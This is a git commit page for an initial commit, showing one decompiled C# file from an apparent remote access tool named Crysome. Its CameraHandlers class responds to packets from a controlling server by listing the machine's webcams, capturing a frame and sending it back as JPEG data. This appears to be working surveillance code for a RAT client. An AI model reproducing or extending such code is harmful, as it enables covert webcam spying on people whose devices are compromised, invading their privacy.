initial commit

2026-08-27 11:22:54 -06:00
commit 3d81b11e14
2281 changed files with 54227 additions and 0 deletions
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+using System;
+using System.Collections;
+using System.Collections.Generic;
+using System.Drawing;
+using System.Drawing.Imaging;
+using System.IO;
+using System.Threading;
+using AForge.Video;
+using AForge.Video.DirectShow;
+using Crysome.Common.Network;
+using Crysome.Common.Network.Packets;
+using Crysome.Common.Network.Packets.Client;
+using Crysome.Common.Network.Packets.Server;
+
+namespace Crysome.Client.Handlers;
+
+public static class CameraHandlers
+{
+	public static void HandleGetCameraDevices(CrysomeClient client, IPacket packet)
+	{
+		//IL_008f: Unknown result type (might be due to invalid IL or missing references)
+		//IL_0099: Expected O, but got Unknown
+		//IL_0037: Unknown result type (might be due to invalid IL or missing references)
+		//IL_0041: Expected O, but got Unknown
+		Program.Log("[CAM] HandleGetCameraDevices ENTER");
+		try
+		{
+			string[] cameraDeviceNames = GetCameraDeviceNames();
+			Program.Log("[CAM] GetCameraDeviceNames returned " + ((cameraDeviceNames != null) ? cameraDeviceNames.Length : 0) + " devices");
+			client.SendPacket((IPacket)new CameraDevicesResponsePacket(cameraDeviceNames));
+			Program.Log("[CAM] HandleGetCameraDevices sent response OK");
+		}
+		catch (Exception ex)
+		{
+			Program.Log("[CAM] GetCameraDevices EXCEPTION: " + ex.GetType().Name + " " + ex.Message);
+			Program.Log("[CAM] Stack: " + ex.StackTrace);
+			try
+			{
+				client.SendPacket((IPacket)new CameraDevicesResponsePacket(new string[0]));
+				Program.Log("[CAM] Sent empty fallback");
+			}
+			catch (Exception ex2)
+			{
+				Program.Log("[CAM] Fallback send failed: " + ex2.Message);
+			}
+		}
+	}
+
+	public static void HandleRequestCameraFrame(CrysomeClient client, IPacket packet)
+	{
+		//IL_000b: Unknown result type (might be due to invalid IL or missing references)
+		//IL_0011: Expected O, but got Unknown
+		//IL_00c3: Unknown result type (might be due to invalid IL or missing references)
+		//IL_00cd: Expected O, but got Unknown
+		//IL_006b: Unknown result type (might be due to invalid IL or missing references)
+		//IL_0075: Expected O, but got Unknown
+		Program.Log("[CAM] HandleRequestCameraFrame ENTER");
+		try
+		{
+			RequestCameraFramePacket val = (RequestCameraFramePacket)packet;
+			Program.Log("[CAM] CaptureCameraFrame idx=" + val.DeviceIndex);
+			byte[] array = CaptureCameraFrame(val.DeviceIndex);
+			Program.Log("[CAM] Capture done, " + ((array != null) ? array.Length : 0) + " bytes");
+			client.SendPacket((IPacket)new CameraFramePacket(array ?? new byte[0]));
+			Program.Log("[CAM] HandleRequestCameraFrame sent OK");
+		}
+		catch (Exception ex)
+		{
+			Program.Log("[CAM] RequestCameraFrame EXCEPTION: " + ex.GetType().Name + " " + ex.Message);
+			Program.Log("[CAM] Stack: " + ex.StackTrace);
+			try
+			{
+				client.SendPacket((IPacket)new CameraFramePacket(new byte[0]));
+			}
+			catch
+			{
+			}
+		}
+	}
+
+	public static string[] GetCameraDeviceNames()
+	{
+		//IL_000f: Unknown result type (might be due to invalid IL or missing references)
+		//IL_0015: Expected O, but got Unknown
+		Program.Log("[CAM] GetCameraDeviceNames ENTER");
+		try
+		{
+			FilterInfoCollection val = new FilterInfoCollection(FilterCategory.VideoInputDevice);
+			List<string> list = new List<string>();
+			for (int i = 0; i < ((CollectionBase)(object)val).Count; i++)
+			{
+				list.Add(val[i].Name ?? ("Camera " + i));
+			}
+			return list.ToArray();
+		}
+		catch (FileNotFoundException ex)
+		{
+			Program.Log("[CAM] AForge DLL missing: " + ex.FileName + " - copy AForge.Video.DirectShow.dll next to exe");
+			return new string[0];
+		}
+		catch (Exception ex2)
+		{
+			Program.Log("[CAM] GetCameraDeviceNames: " + ex2.Message);
+			return new string[0];
+		}
+	}
+
+	private static byte[] CaptureCameraFrame(int deviceIndex)
+	{
+		//IL_000b: Unknown result type (might be due to invalid IL or missing references)
+		//IL_0011: Expected O, but got Unknown
+		//IL_0047: Unknown result type (might be due to invalid IL or missing references)
+		//IL_0066: Unknown result type (might be due to invalid IL or missing references)
+		//IL_006c: Expected O, but got Unknown
+		//IL_006c: Unknown result type (might be due to invalid IL or missing references)
+		//IL_0073: Unknown result type (might be due to invalid IL or missing references)
+		//IL_008a: Unknown result type (might be due to invalid IL or missing references)
+		//IL_0090: Unknown result type (might be due to invalid IL or missing references)
+		try
+		{
+			FilterInfoCollection val = new FilterInfoCollection(FilterCategory.VideoInputDevice);
+			if (((CollectionBase)(object)val).Count == 0)
+			{
+				return new byte[0];
+			}
+			int num = Math.Max(0, Math.Min(deviceIndex, ((CollectionBase)(object)val).Count - 1));
+			VideoCaptureDevice val2 = new VideoCaptureDevice(val[num].MonikerString);
+			byte[] result = null;
+			ManualResetEvent ev = new ManualResetEvent(initialState: false);
+			NewFrameEventHandler val3 = (NewFrameEventHandler)delegate(object s, NewFrameEventArgs e)
+			{
+				try
+				{
+					using Bitmap bitmap = (Bitmap)e.Frame.Clone();
+					using MemoryStream memoryStream = new MemoryStream();
+					bitmap.Save(memoryStream, ImageFormat.Jpeg);
+					result = memoryStream.ToArray();
+				}
+				catch
+				{
+				}
+				ev.Set();
+			};
+			val2.NewFrame += val3;
+			val2.Start();
+			ev.WaitOne(5000);
+			val2.SignalToStop();
+			val2.WaitForStop();
+			val2.NewFrame -= val3;
+			return result ?? new byte[0];
+		}
+		catch (Exception)
+		{
+			return new byte[0];
+		}
+	}
+}